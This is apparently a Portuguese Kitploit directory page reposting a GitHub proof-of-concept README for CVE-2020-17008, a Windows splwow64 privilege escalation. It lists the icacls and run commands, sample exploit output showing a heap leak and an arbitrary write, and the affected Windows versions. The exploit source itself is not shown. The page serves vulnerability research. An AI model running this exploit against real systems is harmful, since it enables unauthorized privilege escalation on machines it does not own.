Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-17008 — CVE-2020-17008 splWOW64 Elevation of Privilege | Kitploit
Ferramentas/GitHubGitHub/jas502n/cve-2020-17008
Privilege EscalationVulnerability AnalysisExploitationBinary Exploitation
GitHubjas502n/cve-2020-17008

CVE-2020-17008

CVE-2020-17008 splWOW64 Elevation of Privilege

Ver Repositório
467há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-17008 splWOW64 Elevation of Privilege

C:\Windows\splwow64.exe

PoC de:

https://bugs.chromium.org/p/project-zero/issues/detail?id=2096

0x01 set splwow64_poc.exe Low

cd splwow64_poc\x64\Release

icacls splwow64_poc.exe /setintegritylevel L

root@kitploit:~
 /setintegritylevel [(CI)(OI)]级别将完整性 ACE 显式
        添加到所有匹配文件。要指定的级别为以下级别
        之一:
             L[ow]
             M[edium]
             H[igh]
        完整性 ACE 的继承选项可以优先于级别,但只应用于
        目录。

0x02 run splwow64_poc.exe

root@kitploit:~
splwow64_poc\x64\Release>splwow64_poc.exe

Start
ntdll = 0x7FF837980000
Init done
C:\Users\pwned\Desktop\splwow64_poc\x64\Release
C:\Users\pwned\Desktop\splwow64_poc\x64\Release\CreateDC.exe
Now's the time to hook up the debugger to splwow64.exe if you want to. Press [Enter] to continue . . .
Get port name
name: \RPC Control\UmpdProxy_2_bea57_0_2000
Create port.
Prepare 0x6A Message - OpenPrinter
PtrMsgReply: 0x0000000000AB0140
ClientView: 0x0000027F390B0000/0x0000000000AB0000, 0x0000027F390B0100: Microsoft XPS Document Writer
Writing message 0x6A success!
Cookie: 0x0
Preparing 0x6D message (to leak heap address) - DocumentEvent
Output: 0x0000000000000000, Heap Address: 0xFFFFFFFFFFFFFFC0
Preparing 0x6D message (write to 0x41414141) - DocumentEvent
Done

Versões Afetadas

root@kitploit:~
Windows 10 versão 1607 (para sistemas baseados em x64)
Windows 10 versão 1607 para sistemas de 32 bits
Windows 10 (para sistemas baseados em x64)
Windows 10 (para sistemas de 32 bits)
Windows 10 versão 1709 (para sistemas baseados em ARM64)
Windows 10 versão 1709 (para sistemas baseados em x64)
Windows 10 versão 1709 para sistemas de 32 bits
Windows 10 versão 1809 (para sistemas baseados em ARM64)
Windows 10 versão 1809 (para sistemas baseados em x64)
Windows 10 versão 1809 para sistemas de 32 bits

Windows Server versão 1803 (instalação Server Core)
Windows 10 versão 1803 (para sistemas baseados em ARM64)
Windows 10 versão 1803 (para sistemas baseados em x64)
Windows 10 versão 1803 para sistemas de 32 bits

Windows Server versão 1903 (instalação Server Core)
Windows 10 versão 1903 (para sistemas baseados em ARM64)
Windows 10 versão 1903 (para sistemas baseados em x64)
Windows 10 versão 1903 para sistemas de 32 bits

Windows Server versão 1909 (instalação Server Core)
Windows 10 versão 1909 (para sistemas baseados em ARM64)
Windows 10 versão 1909 (para sistemas baseados em x64)
Windows 10 versão 1909 para sistemas de 32 bits

Windows Server versão 2004 (instalação Server Core)
Windows 10 versão 2004 (para sistemas baseados em x64)
Windows 10 versão 2004 (para sistemas baseados em ARM64)
Windows 10 versão 2004 para sistemas de 32 bits

Windows Server 2016 (instalação Server Core)
Windows Server 2016

Windows Server 2019 (instalação Server Core)
Windows Server 2019

Windows Server 2012
Windows Server 2012 R2 (instalação Server Core)
Windows Server 2012 R2
Windows Server 2012 (instalação Server Core)

Windows RT 8.1
Windows 8.1 (para sistemas baseados em x64)
Windows 8.1 para sistemas de 32 bits
Baixar ferramenta